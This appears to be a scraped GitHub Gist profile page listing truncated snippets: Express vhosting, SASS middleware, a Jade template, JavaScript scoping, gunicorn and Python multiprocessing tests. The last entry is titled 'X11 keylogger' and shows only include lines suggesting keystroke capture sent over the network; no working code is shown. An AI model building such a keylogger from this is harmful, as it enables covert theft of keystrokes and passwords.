Skip to content

Instantly share code, notes, and snippets.

View robertklep's full-sized avatar

Robert Klep robertklep

View GitHub Profile
$.ajax( {
url: 'http://localhost:3000/save',
data: r,
type: 'GET',
success: function(response) {
console.log('SUCCESS', response);
},
error: function(xhr, status, message) {
console.log('ERROR', status, message);
}
@robertklep
robertklep / app.js
Created April 3, 2013 12:36
Express vhosting
var express = require('express');
var app = express();
var app2 = express();
app.use(express.vhost('app1.example.com', require('./app1').app));
app.use(express.vhost('app2.example.com', app2));
app2.get('/', function(req, res) {
res.send('app 2');
@robertklep
robertklep / gist:5264130
Last active October 10, 2017 07:41
SASS middleware
var express = require('express')
, sass = require('node-sass')
, http = require('http')
, path = require('path');
var app = express();
app.configure(function(){
app.set('port', process.env.PORT || 3000);
app.set('views', __dirname + '/views');
@robertklep
robertklep / gist:5244267
Created March 26, 2013 09:58
Jade/forms example.
html
head
body
h1= title
!{form}
urlConfig = [
["/", (req, res) ->
console.log(req.url)
res.send "hello world"
]
]
module.exports = urlConfig
@robertklep
robertklep / gist:5162186
Created March 14, 2013 15:16
JS scoping
var a = [ 'a', 'b', 'c' ];
var b = [];
for (var i in a) {
b[i] = function() { console.log('i', i, 'a[i]', a[i]) };
};
b.forEach(function(v) { v() });
b = [];
@robertklep
robertklep / gist:5161641
Last active December 14, 2015 22:49
express + hogan + coffeescript
# Module dependencies.
express = require 'express'
http = require 'http'
path = require 'path'
colors = require 'colors'
engines = require 'consolidate'
engine = 'hogan'
app = express()
@robertklep
robertklep / gist:5127432
Created March 10, 2013 06:50
Hello World for gunicorn and Node.js
# both tested with: httperf --hog --server 127.0.0.1 --port 8012 --num-conn 100 --num-calls 100
# gunicorn -k gevent -b 0.0.0.0:8012 app:application
def application(environ, start_response):
status = '200 OK'
res = "Hello world!"
response_headers = [
('Content-type','text/plain'),
('Content-Length',str(len(res)))]
start_response(status, response_headers)
@robertklep
robertklep / gist:5125319
Created March 9, 2013 19:07
multiprocessing pool test
#!/usr/bin/env python
import multiprocessing, sys, random, time
def process_file(filename, foo, bar, baz='biz'):
print "FOO"
if random.random() < 0.5:
raise Exception("blah")
return 123
@robertklep
robertklep / gist:5124355
Created March 9, 2013 14:41
X11 keylogger
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <netdb.h>
#include <string.h>
#include <netinet/in.h>
#include <X11/X.h>
#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/StringDefs.h>